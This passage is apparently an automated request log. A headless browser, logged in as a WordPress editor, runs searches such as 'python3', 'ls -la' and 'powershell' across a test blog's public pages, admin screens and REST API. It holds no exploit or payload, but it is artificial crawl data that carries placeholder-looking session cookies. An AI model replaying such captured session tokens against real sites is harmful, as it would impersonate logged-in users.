text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check"], "body": ""} +{"method": "GET", "target": "/page/2/?s=python3", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/?s=python3", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209939"], "body": ""} +{"method": "GET", "target": "/page/2/?s=ls+-la", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/?s=ls+-la", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209939"], "body": ""} +{"method": "GET", "target": "/page/2/?s=powershell", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/?s=powershell", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209939"], "body": ""} +{"method": "GET", "target": "/index.php/page/2/?s=python3", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/index.php/?s=python3", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209938"], "body": ""} +{"method": "GET", "target": "/wp-admin/upload.php?mode=list&attachment-filter=&s=hello&_wpnonce=c7d3be7361&_wp_http_referer=%2Fwp-admin%2Fupload.php%3Fmode%3Dlist%26attachment-filter%26s%3Dpython3%26action%3D-1%26affected%26_ajax_nonce%3Dac194defea%26ps&action=-1&affected=&_ajax_nonce=ac194defea&ps=", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/upload.php?mode=list&attachment-filter&s=python3&action=-1&affected&_ajax_nonce=ac194defea&ps", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209922"], "body": ""} +{"method": "GET", "target": "/wp-admin/edit.php?s=hello&post_status=all&post_type=post&_wpnonce=845fd30495&_wp_http_referer=%2Fwp-admin%2Fedit.php%3Fs%3Dpowershell%26post_status%3Dall%26post_type%3Dpost%26action%3D-1%26m%3D0%26cat%3D0%26paged%3D1%26action2%3D-1&action=-1&m=0&cat=0&paged=1&action2=-1", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit.php?s=powershell&post_status=all&post_type=post&action=-1&m=0&cat=0&paged=1&action2=-1", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209923"], "body": ""} +{"method": "GET", "target": "/wp-admin/edit.php?s=hello&post_status=all&post_type=post&_wpnonce=845fd30495&_wp_http_referer=%2Fwp-admin%2Fedit.php%3Fs%3Dls%2B-la%26post_status%3Dall%26post_type%3Dpost%26action%3D-1%26m%3D0%26cat%3D0%26paged%3D1%26action2%3D-1&action=-1&m=0&cat=0", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit.php?s=ls+-la&post_status=all&post_type=post&action=-1&m=0&cat=0&paged=1&action2=-1", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209924"], "body": ""} +{"method": "GET", "target": "/wp-admin/edit.php?s=hello&post_status=all&post_type=post&_wpnonce=845fd30495&_wp_http_referer=%2Fwp-admin%2Fedit.php%3Fs%3D.htaccess%26post_status%3Dall%26post_type%3Dpost%26action%3D-1%26m%3D0%26cat%3D0%26paged%3D1%26action2%3D-1&action=-1&m=0&cat=0&paged=1&action2=-1", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit.php?s=.htaccess&post_status=all&post_type=post&action=-1&m=0&cat=0&paged=1&action2=-1", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209925"], "body": ""} +{"method": "GET", "target": "/wp-admin/edit-comments.php?s=hello&comment_status=all&pagegen_timestamp=2026-11-09+07%3A38%3A46&_total=0&_per_page=20&_page=1&paged=1&_ajax_fetch_list_nonce=0b1db04b0a&_wp_http_referer=%2Fwp-admin%2Fedit-comments.php%3Fs%3Dpython3%26comment_status%3Dall%26pagegen_timestamp%3D2026-11-09%2B07%253A38%253A46%26_total%3D1%26_per_page%3D20%26_page%3D1%26_ajax_fetch_list_nonce%3D0b1db04b0a%26action%3D-1%26comment_type%26paged%3D1%26action2%3D-1", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit-comments.php?s=python3&comment_status=all&pagegen_timestamp=2026-11-09+07%3A38%3A46&_total=1&_per_page=20&_page=1&_ajax_fetch_list_nonce=0b1db04b0a&action=-1&comment_type&paged=1&action2=-1", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209926"], "body": ""} +{"method": "GET", "target": "/wp-admin/users.php?s=hello&_wpnonce=63da9c4bb8&_wp_http_referer=%2Fwp-admin%2Fusers.php%3Fs%3Dpython3%26action%3D-1%26new_role%26paged%3D1%26action2%3D-1%26new_role2&action=-1", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/users.php?s=python3&action=-1&new_role&paged=1&action2=-1&new_role2", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209927"], "body": ""} +{"method": "GET", "target": "/wp-admin/edit-comments.php?s=python3&comment_status=all&pagegen_timestamp=2026-11-09+07%3A38%3A46&_total=1&_per_page=20&_page=1&_ajax_fetch_list_nonce=0b1db04b0a&_wp_http_referer=%2Fwp-admin%2Fedit-comments.php&_wpnonce=21dd43bdf4&_wp_http_referer=%2Fwp-admin%2Fedit-comments.php&action=-1&comment_type=&paged=1&action2=-1", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit-comments.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209926"], "body": ""} +{"method": "GET", "target": "/wp-admin/users.php?s=python3&_wpnonce=63da9c4bb8&_wp_http_referer=%2Fwp-admin%2Fusers.php&action=-1&new_role=&paged=1&action2=-1&new_role2=", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/users.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209927"], "body": ""} +{"method": "GET", "target": "/wp-admin/plugins.php?s=python3&plugin_status=all", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugins.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209929"], "body": ""} +{"method": "GET", "target": "/wp-admin/edit-tags.php?taxonomy=post_tag&post_type=post&s=python3", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit-tags.php?taxonomy=post_tag", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209928"], "body": ""} +{"method": "GET", "target": "/wp-admin/themes.php?search=python3", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/themes.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209929"], "body": ""} +{"method": "GET", "target": "/wp-admin/theme-install.php?search=python3&browse=popular", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/theme-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209929"], "body": ""} +{"method": "GET", "target": "/wp-admin/upload.php?search=python3", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/upload.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209929"], "body": ""} +{"method": "GET", "target": "/wp-admin/admin-ajax.php?action=ajax-tag-search&tax=post_tag&q=python3&number=20", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: */*", "X-Requested-With: XMLHttpRequest", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209930"], "body": ""} +{"method": "GET", "target": "/wp-admin/admin-ajax.php?action=autocomplete-user&term=python3&autocomplete_type=add", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209930"], "body": ""} +{"method": "GET", "target": "/wp-json/wp/v2/tags?per_page=20&orderby=count&order=desc&_fields=id%2Cname&search=python3&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: 3e816ac72c", "Referer: http://blog.example/wp-admin/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209939"], "body": ""} +{"method": "GET", "target": "/wp-json/wp/v2/categories?per_page=20&_fields=id%2Cname&search=python3&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: 3e816ac72c", "Referer: http://blog.example/wp-admin/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209939"], "body": ""} +{"method": "GET", "target": "/wp-json/wp/v2/pages?search=python3&per_page=20&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: 3e816ac72c", "Referer: http://blog.example/wp-admin/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209939"], "body": ""} +{"method": "GET", "target": "/wp-json/wp/v2/media?search=python3&per_page=20&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: 3e816ac72c", "Referer: http://blog.example/wp-admin/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209939"], "body": ""} +{"method": "GET", "target": "/wp-json/wp/v2/users?search=python3&per_page=20&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: 3e816ac72c", "Referer: http://blog.example/wp-admin/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209939"], "body": ""} +{"method": "GET", "target": "/wp-json/wp/v2/blocks?search=python3&per_page=20&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: 3e816ac72c", "Referer: http://blog.example/wp-admin/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209939"], "body": ""} +{"method": "GET", "target": "/wp-json/wp/v2/pattern-directory/patterns?search=python3&per_page=20&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: 3e816ac72c", "Referer: http://blog.example/wp-admin/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209939"], "body": ""} +{"method": "GET", "target": "/wp-json/wp/v2/block-directory/search?term=python3&per_page=10&page=1&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: 3e816ac72c", "Referer: http://blog.example/wp-admin/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209939"], "body": ""} +{"method": "GET", "target": "/?tag=python3", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/?p=16", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; 